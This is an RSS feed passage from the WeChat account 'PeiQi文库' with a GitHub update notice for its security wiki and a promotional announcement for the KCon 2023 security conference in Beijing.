<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>PeiQi文库</title>
    <link>https://wechat2rss.xlab.app/feed/6553a5e852536cc41d797391eb3da8d8f8f3f18d.xml</link>
    <description>乌拉乌拉！&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (PeiQi文库)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM60ZfvR6Cic5Mom2ye4wfKW8ic1IwOiaBRGWWficXg9zt3n4Q/0</url>
      <title>PeiQi文库</title>
      <link>https://wechat2rss.xlab.app/feed/6553a5e852536cc41d797391eb3da8d8f8f3f18d.xml</link>
    </image>
    <item>
      <title>PeiQi文库 - Github更新 (7)</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&amp;mid=2247493956&amp;idx=1&amp;sn=d44ca0c6b810745346caa02d928569ea</link>
      <description>PeiQi文库 - Github更新 (7)</description>
      <content:encoded><![CDATA[<p>
<span>PeiQi文库</span> <span>2023-08-16 18:33</span> <span style="display: inline-block;">北京</span>
</p>

<p>PeiQi文库 - Github更新 (7)</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=0501e164&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FibicicIH182el4F46uEyehk0IH7lHFLF4cUXtAB6MribNMdiam6URbZsZhxDl1wczmXsf1Vkw0xYPRXp6Vu6PoA8H7g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" data-mpa-powered-by="yiban.io"><p><img class="rich_pages wxw-img" data-ratio="1" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3acb14ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cUdjXwQ2vk0wTGCIb9icVu77fVMtVPreeicnJrIwwfmApVdIID1JrXjeVA%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="202" data-backw="474" data-ratio="0.4257142857142857" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1050" src="https://wechat2rss.xlab.app/img-proxy/?k=74667503&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4F46uEyehk0IH7lHFLF4cU28BTMkJPoo8JIicIXC49BCdyApGtNkygZJfZicxapw0X9LySnLXc8SIg%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">近期更新</span></h2><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">https:<span class="code-snippet__comment">//github.com/PeiQi0/PeiQi-WIKI-Book</span></span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.9945872801082544" data-s="300,640" style="" data-type="png" data-w="1478" src="https://wechat2rss.xlab.app/img-proxy/?k=858f9e4d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FibicicIH182el5HGkD0iby9ia6lhicvgCQ2Mj4hMvNZhkT6vG9ZVTsbJDia1iaX245sXJNzicC9cRHVM3Y4I89khib43FtHw%2F640%3Fwx_fmt%3Dpng"/></p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">关注公众号</span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8FIETaUCyyNohq14RS6ooFwxqqhH7FicQ6Fag3uTjVW4hnhSr8ziby5RWV27icj1TJZPyaicVdLl0Uddlchj5RSawKQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号<br/>想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦～<br/></code></pre><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></section><section class="mp_profile_iframe_wrp"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-weui-theme="light" data-id="Mzg3NDU2MTg0Ng==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/ibicicIH182el4k7oncstuDUYBxrtzOqAW4oGso8T29V66MANjNbTib9AIdfGoxhxNMpEhYWG8x4PxK2Yfwq2j6S0w/0?wx_fmt=png" data-nickname="PeiQi文库" data-alias="PeiQi_wiki" data-signature="乌拉乌拉！" data-from="0" data-is_biz_ban="0"></mp-common-profile></section><section><br/></section><section class="mp_profile_iframe_wrp"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-weui-theme="light" data-id="MzIyMjkzMzY4Ng==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/4LicHRMXdTzDjy8pCtpvJKBibCLXQDm14MbdlTqXYESXADHkVpL6f81Z4TVFOGQMjBjgxPpUcYnzahRhibQUdcKzQ/0?wx_fmt=png" data-nickname="WgpSec狼组安全团队" data-alias="wgpsec" data-signature="WgpSec 狼组安全团队由几位热爱网络安全的年轻人一同组成过去的几年内没来得及让团队发生有效且质的变化这一次，为了我们的slogan：打造信息安全乌托邦。前进！" data-from="0" data-is_biz_ban="0"></mp-common-profile></section><section><br/></section><section><br/></section><h2 data-tool="mdnice编辑器" style="margin-top: 20px;margin-right: 10px;outline: 0px;font-weight: bold;font-size: 22px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="padding-left: 10px;outline: 0px;font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;border-left: 5px solid rgb(14, 136, 235);">支持作者</span></h2><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="201" data-backw="474" data-ratio="0.42394822006472493" style="margin: 20px auto;outline: 0px;border-radius: 0px 0px 5px 5px;display: block;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;width: 657px;visibility: visible !important;" data-type="png" data-w="618" src="https://wechat2rss.xlab.app/img-proxy/?k=859ead22&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4KriaPmCVjsGYUNAc8HumU0TBrxXJicZSulu5BTR3a6M97ic6EkNiclUicEq3RsdvZSHibj1iahw5ia6HANg%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 20px;margin-right: 10px;outline: 0px;font-weight: bold;font-size: 22px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="padding-left: 10px;outline: 0px;font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;border-left: 5px solid rgb(14, 136, 235);">关于文库</span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;color: rgb(0, 0, 0);font-size: 16px;letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="margin-bottom: -7px;outline: 0px;display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8FIETaUCyyNojZYXjHvq3mp73aa6lQpbuxIic3IBWznlwnfJQ4xiaCqCictC1R372oQ3VFO6XIC13nhMng0fQPhSF9/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 657px;border-radius: 5px;"></span><code style="padding: 15px 16px 16px;outline: 0px;overflow-x: auto;color: rgb(56, 58, 66);display: -webkit-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12px;background: rgb(250, 250, 250);border-radius: 5px;">在线文库: <a href="https://wiki.peiqi.tech (暂时关闭个人用户使用)" target="_blank">https://wiki.peiqi.tech (暂时关闭个人用户使用)</a><br style="outline: 0px;"/>Github: <a href="https://github.com/PeiQi0/PeiQi-WIKI-Book " target="_blank">https://github.com/PeiQi0/PeiQi-WIKI-Book </a><br style="outline: 0px;"/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="258" data-backw="474" data-ratio="0.5444444444444444" style="margin: 20px auto;outline: 0px;border-radius: 0px 0px 5px 5px;display: block;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;width: 657px;visibility: visible !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9148700a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el4KriaPmCVjsGYUNAc8HumU0Q2ujbJFIFWslsEY2F3vrdich0sJSDLGe8Ppleu7JCOur9akqStbLPbg%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></figure><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></section></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><br/></figure></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://github.com/PeiQi0/PeiQi-WIKI-Book">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=976ec870&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDU2MTg0Ng%3D%3D%26mid%3D2247493956%26idx%3D1%26sn%3Dd44ca0c6b810745346caa02d928569ea%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 16 Aug 2023 18:33:00 +0800</pubDate>
    </item>
    <item>
      <title>8月19日开幕！KCon 2023，不容错过的网安技术交流大会</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&amp;mid=2247493952&amp;idx=1&amp;sn=4a571e0d8938f9fe9a53d65dc78294b6</link>
      <description>论网安攻防，迎数智蜕变！“归源·智变”第12届KCon大会期待你的到来！</description>
      <content:encoded><![CDATA[<p>
<span>KCon会务组</span> <span>2023-08-15 12:00</span> <span style="display: inline-block;">北京</span>
</p>

<p>论网安攻防，迎数智蜕变！“归源·智变”第12届KCon大会期待你的到来！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=fa91ac4f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe5by8a5GzIadIE2QZvQy9GjhSGSAcQrR5qsWElrveNQkb3XXVpfknbDia6icXE6vrrVyeVLxCowqCq6xvC7Pc61w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="font-size: 14px;letter-spacing: 0px;line-height: 1.75;padding-right: 16px;padding-left: 16px;" data-mpa-powered-by="yiban.io"><p style="text-wrap: wrap;" powered-by="xiumi.us"><br/></p><section style="text-align: center;margin-top: -8px;margin-right: 0%;margin-left: 0%;transform: translate3d(-1px, 0px, 0px);line-height: 0;" powered-by="xiumi.us"><section style="vertical-align: middle;display: inline-block;line-height: 0;width: 10%;box-shadow: rgb(210, 10, 10) 0px 0px 0px;height: auto;"><img class="rich_pages wxw-img" data-ratio="0.9043824701195219" data-s="300,640" style="vertical-align: middle;width: 100%;display: inline;" data-type="jpeg" data-w="1004" src="https://wechat2rss.xlab.app/img-proxy/?k=0b07452a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe5by8a5GzIadIE2QZvQy9GjhSGSAcQrRBKRPyGquRAUpac3PwChZEaMs9TFxBLibiaXydjdI1LjfAdpjt7ibVS9EQ%2F640%3Fwx_fmt%3Djpeg"/></section></section><section style="margin-top: 10px;" powered-by="xiumi.us"><section style="padding: 10px;width: 100%;border-width: 1px;border-style: solid;border-color: rgb(185, 11, 11);box-shadow: rgb(204, 204, 204) 3px 3px 5px;background-color: rgb(255, 255, 255);margin-top: -2px;"><section style="font-size: 11px;letter-spacing: 1px;padding-right: 15px;padding-left: 15px;line-height: 2;text-align: center;color: rgb(210, 10, 10);" powered-by="xiumi.us"><p><em><strong>“归源·智变” KCon 2023</strong></em></p><p><em>举办时间：2023年8月19日-20日</em></p><p><em>举办地点：北京环球贸易中心·会议中心</em></p></section></section></section><p style="text-wrap: wrap;" powered-by="xiumi.us"><br/></p><section powered-by="xiumi.us"><p style="text-wrap: wrap;">2023年8月19日-20日，由知道创宇出品的第12届KCon大会将在北京环球贸易中心举办，来自五湖四海的网安技术爱好者们即将欢聚一堂，共同论道网安。</p><p style="text-wrap: wrap;"><br/></p><p style="text-wrap: wrap;">KCon大会，国际网络安全圈富有活力与影响力的前沿网络安全攻防技术交流平台，以“追求干货有趣”为宗旨，力求为网安技术研究者们打造一个尽情展示、尽情交流的创意舞台，期待以技术之力引领业界未来的变革。</p></section><p style="text-wrap: wrap;" powered-by="xiumi.us"><br/></p><section style="display: flex;flex-flow: row;margin-top: 10px;margin-right: 0%;margin-left: 0%;text-align: left;justify-content: flex-start;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;flex: 0 0 0%;align-self: center;height: auto;z-index: 1;"><section style="text-align: right;margin-right: 0%;margin-left: 0%;" powered-by="xiumi.us"><section style="display: inline-block;width: 35px;height: 35px;vertical-align: top;overflow: hidden;border-width: 3px;border-radius: 50%;border-style: solid;border-color: rgb(255, 255, 255);background-color: rgb(224, 64, 45);line-height: 0;"><section style="transform: rotateZ(315deg);" powered-by="xiumi.us"><section style="text-align: center;margin-top: 13px;margin-right: 0%;margin-left: 0%;transform: translate3d(2px, 0px, 0px);"><section style="display: inline-block;width: 8px;height: 8px;vertical-align: top;overflow: hidden;border-style: solid none none solid;border-width: 1px;border-color: rgb(255, 255, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section><section style="display: inline-block;vertical-align: top;width: auto;flex: 100 100 0%;height: auto;margin-right: -20px;margin-left: -20px;"><section style="display: inline-block;width: 100%;vertical-align: top;overflow-x: auto;" powered-by="xiumi.us"><section style="overflow: hidden;width: 300%;max-width: 300% !important;"><section style="display: inline-block;vertical-align: middle;width: 33.3333%;" powered-by="xiumi.us"><section style="text-align: center;margin-right: 0%;margin-left: 0%;line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;"><img class="rich_pages wxw-img" data-ratio="0.5620998719590269" data-s="300,640" style="vertical-align: middle;width: 100%;display: inline;" data-type="png" data-w="781" src="https://wechat2rss.xlab.app/img-proxy/?k=645af1ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe5by8a5GzIadIE2QZvQy9GjhSGSAcQrRrfVAibSp2k4MOpxH76kM5nA8pxXWXibm9d6JySsQZ59Tp1tBu87eYAOQ%2F640%3Fwx_fmt%3Dpng"/></section></section></section><section style="display: inline-block;vertical-align: top;width: 33.3333%;" powered-by="xiumi.us"><section style="text-align: center;margin-right: 0%;margin-left: 0%;line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;"><img class="rich_pages wxw-img" data-ratio="0.5617685305591678" data-s="300,640" style="vertical-align: middle;width: 100%;display: inline;" data-type="png" data-w="769" src="https://wechat2rss.xlab.app/img-proxy/?k=f1a649b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe5by8a5GzIadIE2QZvQy9GjhSGSAcQrRkKVlTmqiasdeZ0ibqZrLLLgVtOgruy2EJGwXwkUsnNDQQUFQwVeOD1lw%2F640%3Fwx_fmt%3Dpng"/></section></section></section><section style="display: inline-block;vertical-align: top;width: 33.3333%;" powered-by="xiumi.us"><section style="text-align: center;margin-right: 0%;margin-left: 0%;line-height: 0;"><section style="vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;"><img class="rich_pages wxw-img" data-ratio="0.5633802816901409" data-s="300,640" style="vertical-align: middle;width: 100%;display: inline;" data-type="png" data-w="710" src="https://wechat2rss.xlab.app/img-proxy/?k=98477858&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe5by8a5GzIadIE2QZvQy9GjhSGSAcQrRgeImTa6YCbaK4Ebz3DyxAS5KFYG436WHaMzibIUJngZial5cC6dnj6TQ%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;flex: 0 0 0%;height: auto;align-self: center;"><section style="transform: perspective(0px);transform-style: flat;" powered-by="xiumi.us"><section style="text-align: right;transform: rotateY(180deg);margin-right: 0%;margin-left: 0%;"><section style="display: inline-block;width: 35px;height: 35px;vertical-align: top;overflow: hidden;border-width: 3px;border-radius: 50%;border-style: solid;border-color: rgb(255, 255, 255);background-color: rgb(224, 64, 45);line-height: 0;"><section style="transform: rotateZ(315deg);" powered-by="xiumi.us"><section style="text-align: center;margin-top: 13px;margin-right: 0%;margin-left: 0%;transform: translate3d(2px, 0px, 0px);"><section style="display: inline-block;width: 8px;height: 8px;vertical-align: top;overflow: hidden;border-style: solid none none solid;border-width: 1px;border-color: rgb(255, 255, 255);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section></section></section><section style="margin-top: 5px;margin-right: 0%;margin-left: 0%;" powered-by="xiumi.us"><section style="font-size: 12px;color: rgb(184, 143, 138);"><p style="text-align: center;text-wrap: wrap;">往届KCon现场，左右滑动查看更多</p></section></section><p style="text-wrap: wrap;" powered-by="xiumi.us"><br/></p><section powered-by="xiumi.us"><p style="text-wrap: wrap;">在数字化浪潮奔腾汹涌的当下，数字的汇聚引起AI的“智变”，也引起了更多值得被关注的网络安全风险。安全是发展的前提，网络安全技术的创新与进步是数字中国建设的重要支撑。</p><p style="text-wrap: wrap;"><br/></p><p style="text-wrap: wrap;">因此，本届KCon大会着眼数智时代的网安风险，以“归源·智变”为主题，意在以技术初心凝聚行业之力，为护航数智时代的安全发展贡献绵薄之力。</p></section><p style="text-wrap: wrap;" powered-by="xiumi.us"><br/></p><section style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;" powered-by="xiumi.us"><section style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-ratio="0.47314814814814815" data-s="300,640" style="vertical-align: middle;width: 100%;display: inline;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ec18f64e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe5by8a5GzIadIE2QZvQy9GjhSGSAcQrRMCibHUbfzn1u5eeBBrLQ5G5fsLUlIibHAwStAxFVibTCdZd22Dej2zXHA%2F640%3Fwx_fmt%3Djpeg"/></section></section><section style="text-align: center;font-size: 12px;color: rgb(93, 90, 79);" powered-by="xiumi.us"><p>KCon 2023 主视觉</p></section><p style="text-wrap: wrap;" powered-by="xiumi.us"><br/></p><section style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin-top: 10px;margin-bottom: 10px;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;height: auto;"><section style="margin-top: 0.5em;margin-bottom: 0.5em;" powered-by="xiumi.us"><section style="background-color: rgb(209, 64, 51);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;padding-right: 15px;padding-left: 15px;"><section style="transform: perspective(0px);transform-style: flat;" powered-by="xiumi.us"><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;transform: rotateX(180deg);margin-bottom: -8px;"><section style="display: inline-block;vertical-align: top;width: 50%;align-self: flex-start;flex: 0 0 auto;"><section style="text-align: center;" powered-by="xiumi.us"><section style="display: inline-block;width: 10px;height: 14px;vertical-align: top;overflow: hidden;background-color: rgb(91, 91, 91);border-style: solid;border-width: 2px;border-color: rgb(255, 255, 255);"><section style="text-align: justify;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><br/></p></section></section></section></section><section style="display: inline-block;vertical-align: top;width: 50%;"><section style="text-align: center;" powered-by="xiumi.us"><section style="display: inline-block;width: 10px;height: 14px;vertical-align: top;overflow: hidden;background-color: rgb(91, 91, 91);border-style: solid;border-width: 2px;border-color: rgb(255, 255, 255);"><section style="text-align: justify;" powered-by="xiumi.us"><p style="text-wrap: wrap;"><br/></p></section></section></section></section></section></section><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" powered-by="xiumi.us"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(209, 64, 51);padding: 10px 20px;"><section style="text-align: center;" powered-by="xiumi.us"><section style="text-align: justify;font-size: 16px;color: rgb(255, 255, 255);"><p style="text-align: center;text-wrap: wrap;"><strong>2日议程、20大议题</strong></p></section></section><section style="text-align: center;" powered-by="xiumi.us"><section style="background-color: rgb(255, 255, 255);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section><section style="text-align: center;" powered-by="xiumi.us"><section style="text-align: justify;color: rgb(255, 255, 255);font-size: 16px;"><p style="text-align: center;text-wrap: wrap;"><strong>干货分享不停歇</strong></p></section></section></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;height: auto;"><section style="margin-top: 0.5em;margin-bottom: 0.5em;" powered-by="xiumi.us"><section style="background-color: rgb(209, 64, 51);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><p style="text-wrap: wrap;" powered-by="xiumi.us"><br/></p><section powered-by="xiumi.us"><p style="text-wrap: wrap;">技术“干货”一直是KCon不变的追求。本届大会的20个演讲议题，由业界大牛组成的顾问专家团严格把关，结合千余人参与得出的大众评选结果，从近50个投递议题中优中选优，最终敲定。</p><p style="text-wrap: wrap;"><br/></p><p style="text-wrap: wrap;">这些议题涵盖了<strong>AI、APT、网络攻防、车联网、IoT、移动安全、漏洞挖掘、云安全</strong>等数字经济发展过程中的众多热点话题。演讲人既有来自大型国企、互联网企业、网络安全企业的一线安全从业者，也有来自高校的老师和学生，还有多位独立安全研究员，将依次登上舞台，与大家分享前沿研究成果与实战经验。相信定能让参会的你乘兴而来、满载而归。</p><p style="text-wrap: wrap;"><br/></p><p style="text-wrap: wrap;">置身于数智化的风口浪尖之上，如何迎接蜕变、破浪前行？我们期待通过这一年一度的技术盛会，助力新技术、新成果的分享与应用，助推网安行业实现“真攻防”。</p></section><p style="text-wrap: wrap;" powered-by="xiumi.us"><br/></p><section style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin-top: 10px;margin-bottom: 10px;" powered-by="xiumi.us"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;"><section style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;transform: translate3d(-2px, 0px, 0px);" powered-by="xiumi.us"><section style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;z-index: auto;line-height: 0;"><section style="text-align: center;" powered-by="xiumi.us"><section style="display: inline-block;width: 20px;height: 7px;vertical-align: top;overflow: hidden;background-color: rgb(62, 62, 62);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;transform: translate3d(2px, 0px, 0px);margin-top: 2px;" powered-by="xiumi.us"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: solid;border-width: 1px;border-color: rgb(62, 62, 62);background-color: rgb(250, 224, 74);"><section style="justify-content: flex-start;display: flex;flex-flow: row;margin-top: -5px;margin-bottom: 5px;transform: translate3d(-5px, 0px, 0px);" powered-by="xiumi.us"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(255, 255, 255);border-style: solid;border-width: 1px;border-color: rgb(62, 62, 62);padding: 5px 15px;"><section style="display: flex;width: 100%;flex-flow: column;" powered-by="xiumi.us"><section style="z-index: 2;" powered-by="xiumi.us"><section style="font-size: 16px;color: rgb(62, 62, 62);text-align: center;"><p><a target="_blank" href="https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzIzOTAwNzc1OQ==&amp;action=getalbum&amp;album_id=3024002037514272769#wechat_redirect" textvalue="点击浏览 KCon 2023 议题巡展" linktype="text" imgurl="" imgdata="null" tab="innerlink" data-linktype="2"><span style="color: rgb(93, 90, 79);font-size: 12px;"><em><strong>点击浏览 KCon 2023 议题巡展</strong></em></span></a><span style="color: rgb(93, 90, 79);font-size: 12px;"></span></p></section></section></section></section></section></section></section><section style="text-align: left;margin-top: -11px;transform: translate3d(13px, 0px, 0px);" powered-by="xiumi.us"><section style="display: inline-block;width: 10px;height: 20px;vertical-align: top;overflow: hidden;background-color: rgb(62, 62, 62);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><p style="text-wrap: wrap;" powered-by="xiumi.us"><br/></p><section style="display: flex;flex-flow: row;margin-top: 10px;margin-right: 0%;margin-left: 0%;text-align: left;justify-content: flex-start;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;flex: 0 0 0%;align-self: center;height: auto;z-index: 1;"><section style="text-align: right;margin-right: 0%;margin-left: 0%;" powered-by="xiumi.us"><section style="display: inline-block;width: 35px;height: 35px;vertical-align: top;overflow: hidden;border-width: 3px;border-radius: 50%;border-style: solid;border-color: rgb(255, 255, 255);background-color: rgb(224, 64, 45);line-height: 0;"><section style="transform: rotateZ(315deg);" 